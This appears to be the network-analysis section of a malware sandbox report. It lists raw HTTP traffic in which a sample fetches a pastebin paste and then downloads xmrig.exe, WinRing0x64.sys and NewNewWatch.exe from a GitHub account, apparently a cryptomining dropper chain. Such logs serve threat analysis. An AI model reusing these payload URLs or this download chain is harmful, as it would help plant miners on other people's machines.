Network Analysis

GET /raw/w8m1pCNu HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Fri, 26 Aug 2022 08:24:23 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Fri, 26 Aug 2022 05:18:05 GMT Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 740b2bb4dedb7ec9-LAX

GET /S1lentHash/xmrig/raw/main/xmrig.exe HTTP/1.1 Host: github.com Connection: Keep-Alive

HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 26 Aug 2022 08:24:23 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With permissions-policy: interest-cohort=() Access-Control-Allow-Origin: https://render.githubusercontent.com Location: https://raw.githubusercontent.com/S1lentHash/xmrig/main/xmrig.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors" Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/ Content-Length: 0 X-GitHub-Request-Id: C020:42EC:B69D1:12271A:63088337

GET /S1lentHash/file_to_dwnld/raw/main/WinRing0x64.sys HTTP/1.1 Host: github.com Connection: Keep-Alive

HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 26 Aug 2022 08:24:23 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With permissions-policy: interest-cohort=() Access-Control-Allow-Origin: https://render.githubusercontent.com Location: https://raw.githubusercontent.com/S1lentHash/file_to_dwnld/main/WinRing0x64.sys Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors" Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/ Content-Length: 0 X-GitHub-Request-Id: C021:4625:1C7D4:87A40:63088337

GET /S1lentHash/file_to_dwnld/main/WinRing0x64.sys HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Content-Length: 14544 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "eb6132670d71c0f0a0135281e09093ea8d3b37b755ef8f0c099eb8d539a74073" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C0FE:5CAC:22D46:5FFE5:63081BE1 Accept-Ranges: bytes Date: Fri, 26 Aug 2022 08:24:24 GMT Via: 1.1 varnish X-Served-By: cache-icn1450024-ICN X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1661502264.789463,VS0,VE269 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * X-Fastly-Request-ID: fd1429d036fafdd21306641edeb0576382d9ecc5 Expires: Fri, 26 Aug 2022 08:29:24 GMT Source-Age: 0

GET /S1lentHash/newwatch/raw/main/NewNewWatch.exe HTTP/1.1 Host: github.com

HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 26 Aug 2022 08:24:24 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With permissions-policy: interest-cohort=() Access-Control-Allow-Origin: https://render.githubusercontent.com Location: https://raw.githubusercontent.com/S1lentHash/newwatch/main/NewNewWatch.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors" Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/ Content-Length: 0 X-GitHub-Request-Id: C020:42EC:B69DB:122731:63088337

GET /S1lentHash/xmrig/main/xmrig.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Content-Length: 8216576 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "ff996fda07e1136377bfcd85fd06f463be0c6c348d44a06530a7c7eef23f7da3" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: AB24:3933:45F0:C80DF:63088337 Accept-Ranges: bytes Date: Fri, 26 Aug 2022 08:24:24 GMT Via: 1.1 varnish X-Served-By: cache-icn1450056-ICN X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1661502264.949447,VS0,VE600 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * X-Fastly-Request-ID: c24cb3f8f5a278b342a0057ee70d69b1f97342ae Expires: Fri, 26 Aug 2022 08:29:24 GMT Source-Age: 0

GET /S1lentHash/newwatch/main/NewNewWatch.exe HTTP/1.1 Host: raw.githubusercontent.com

HTTP/1.1 200 OK Connection: keep-alive Content-Length: 73216 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "38c58c5022623bd2b8f321d004b792d52d89efe843221dcb1aa40ffc40f55941" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: AF4E:0366:2063A:449F5:6304F292 Accept-Ranges: bytes Date: Fri, 26 Aug 2022 08:24:24 GMT Via: 1.1 varnish X-Served-By: cache-icn1450024-ICN X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1661502264.142761,VS0,VE216 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * X-Fastly-Request-ID: e796d6d2dcaf78755ddabbe1994dc11a9dcb224a Expires: Fri, 26 Aug 2022 08:29:24 GMT Source-Age: 0